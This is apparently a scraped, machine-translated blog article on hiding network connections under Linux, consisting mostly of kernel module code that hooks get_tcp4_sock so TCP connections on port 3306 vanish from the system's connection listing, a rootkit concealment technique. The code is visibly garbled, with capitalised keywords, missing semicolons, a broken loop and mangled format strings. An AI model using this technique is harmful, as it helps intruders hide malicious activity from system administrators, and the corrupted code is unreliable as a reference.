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This article introduces the knowledge of "how to hide the network connection under Linux". Many people will encounter such a dilemma in the operation of the actual case. then let the editor lead you to learn how to deal with these situations. I hope you can read it carefully and be able to achieve something!

Inline hook directly live get_tcp4_sock this function on the line, but need to re-implement the function of get_tcp4_sock, in the next filter. It is relatively simple. The code is as follows:

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MODULE_LICENSE ("GPL")

MODULE_AUTHOR ("wzt")

_ _ U32 wnps_in_aton (const char * str)

{

Unsigned long l

Unsigned int val

Int i

L = 0

For (I = 0; I)

Dport)

_ U16 srcp = ntohs (inet- > sport)

Printk ("!! in new_get_tcp4_sock.\ n")

If (icsk- > icsk_pending = = ICSK_TIME_RETRANS) {

Timer_active = 1

Timer_expires = icsk- > icsk_timeout

} else if (icsk- > icsk_pending = = ICSK_TIME_PROBE0) {

Timer_active = 4

Timer_expires = icsk- > icsk_timeout

} else if (& sk- > sk_timer) {

Timer_active = 2

Timer_expires = sk- > sk_timer.expires

} else {

Timer_active = 0

Timer_expires = jiffies

}

/ *

If (src = = wnps_in_aton ("127.0.0.1")) {

Printk ("got 127.0.0.1")

Return

}

, /

If (srcp = = 3306 | | destp = = 3306) {

Printk ("got 3306!\ n")

Seq_printf (f, "% 4d: X X X X:lX"

"X% 5d% 8d% lu% d% p% lu% lu% u% u% d% n"

0, 0, 0, 0, 0, 0

Tp- > write_seq-tp- > snd_una

Sk- > sk_state = = TCP_LISTEN? Sk- > sk_ack_backlog:

(tp- > rcv_nxt-tp- > copied_seq)

Timer_active

Jiffies_to_clock_t (timer_expires-jiffies)

Icsk- > icsk_retransmits

Sock_i_uid (sk)

Icsk- > icsk_probes_out

Sock_i_ino (sk)

Atomic_read (& sk- > sk_refcnt), sk

Jiffies_to_clock_t (icsk- > icsk_rto)

Jiffies_to_clock_t (icsk- > icsk_ack.ato)

(icsk- > icsk_ack.quick icsk_ack.pingpong

Tp- > snd_cwnd

Tp- > snd_ssthresh > = 0xFFFF?-1: tp- > snd_ssthresh

Len)

}

Else {

Seq_printf (f, "% 4d: X X X X:lX"

"X% 5d% 8d% lu% d% p% lu% lu% u% u% d% n"

I, src, srcp, dest, destp, sk- > sk_state

Tp- > write_seq-tp- > snd_una

Sk- > sk_state = = TCP_LISTEN? Sk- > sk_ack_backlog:

(tp- > rcv_nxt-tp- > copied_seq)

Timer_active

Jiffies_to_clock_t (timer_expires-jiffies)

Icsk- > icsk_retransmits

Sock_i_uid (sk)

Icsk- > icsk_probes_out

Sock_i_ino (sk)

Atomic_read (& sk- > sk_refcnt), sk

Jiffies_to_clock_t (icsk- > icsk_rto)

Jiffies_to_clock_t (icsk- > icsk_ack.ato)

(icsk- > icsk_ack.quick icsk_ack.pingpong

Tp- > snd_cwnd

Tp- > snd_ssthresh > = 0xFFFF?-1: tp- > snd_ssthresh

Len)

}

}

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